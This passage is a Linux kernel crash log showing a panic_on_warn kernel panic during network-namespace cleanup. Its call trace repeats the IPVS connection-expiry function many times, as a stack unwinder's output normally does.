[   59.394604]  ? recalc_sigpending (include/linux/instrumented.h:97 include/asm-generic/bitops/instrumented-atomic.h:41 include/linux/thread_info.h:109 kernel/signal.c:163)
[   59.395044]  ? __pfx_kthread (include/linux/list.h:173)
[   59.395431]  ? ret_from_fork (arch/x86/kernel/process.c:158)
[   59.396244]  ? __pfx_ret_from_fork (arch/x86/include/asm/desc.h:328 (discriminator 7))
[   59.396686]  ? __switch_to (include/linux/instrumented.h:82 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/thread_info.h:133 include/linux/sched.h:2102 arch/x86/include/asm/fpu/sched.h:34 arch/x86/kernel/process_64.c:619)
[   59.397068]  ? __switch_to_asm (arch/x86/entry/entry_64.S:206)
[   59.397478]  ? __pfx_kthread (include/linux/list.h:173)
[   59.397876]  ? ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[   59.398317]  </TASK>
[   59.398567] Kernel panic - not syncing: kernel: panic_on_warn set ...
[   59.399231] CPU: 0 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.2.0-g506c8c29c5e7-dirty #2 PREEMPT(lazy) 
[   59.400307] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   59.401472] Workqueue: netns cleanup_net
[   59.401937] Call Trace:
[   59.402476]  <TASK>
[   59.402722]  ? kasan_record_aux_stack (mm/kasan/generic.c:556)
[   59.403221]  ? __call_rcu_common.constprop.0 (kernel/rcu/tree.c:3181)
[   59.403776]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1403)
[   59.404393]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.404919]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.405388]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.405876]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.406362]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.406988]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.407488]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.407969]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.408517]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.409048]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.409520]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.410001]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.410487]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.410977]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.411434]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.411915]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.412533]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.413015]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.413518]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.414102]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.414579]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.415063]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.415529]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.416014]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.416475]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.417362]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.417823]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.418335]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.418795]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.419277]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.419737]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.420228]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.420775]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.421368]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.421945]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.422601]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.423082]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.423592]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.424077]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.424623]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.425200]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.425684]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.426177]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.426661]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.427120]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.427606]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.428075]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.428556]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.429110]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.429587]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.430127]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.430600]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.431050]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.431518]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.432140]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.432744]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.433333]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.433822]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.434299]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.434775]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.435217]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.435682]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.436117]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.436574]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.437079]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.437689]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.438164]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.438634]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.439103]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.439725]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.440184]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.440657]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.441106]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.441672]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.442137]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.442699]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.443153]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.443632]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.444121]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.444608]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.445055]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.445526]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.445997]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.446469]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.446905]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.447364]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.447808]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.448266]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.448701]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.449158]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.449685]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.450214]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.450709]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.451215]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.451659]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.452127]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.452575]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.453061]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.453529]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.454028]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.454524]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.455006]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.455474]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.455956]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.456413]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.456894]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.457360]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.457845]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.458335]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.458817]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.459282]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.459774]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.460242]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.460877]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.461349]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.461841]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.462356]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.462842]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.463296]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.463787]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.464243]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.464771]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.465229]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.465698]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.466319]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.466836]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.467285]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.467754]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.468199]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.468679]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.469124]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.469603]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.470073]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.470562]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.471012]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.471487]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.471937]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.472425]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.472884]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.473358]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.473805]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.474301]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.474758]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.475697]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.476168]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.476654]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.477148]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.477638]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.478134]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.478684]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.479369]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.479868]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.480331]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.480817]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.481325]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.481950]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.482473]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.482957]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.483509]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.484000]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.484597]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.485081]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.485541]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.486032]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.486511]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.486994]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.487540]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.488031]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.488490]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.488973]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.489445]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.489930]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.490407]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.490890]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.491358]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.491919]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.492378]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.492861]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.493329]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.493821]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.494296]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.494853]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.495320]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.495883]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.496373]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.496899]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.497358]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.497959]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.498446]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.498934]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.499393]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.500283]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.500791]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.501279]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.501742]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.502261]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.502722]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.503206]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.503672]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.504569]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.505102]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.505593]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.506051]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.506579]  ? arch_stack_walk (arch/x86/include/asm/unwind.h:64 arch/x86/kernel/stacktrace.c:24)
[   59.506994]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.507457]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
[   59.507947]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
[   59.508412]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
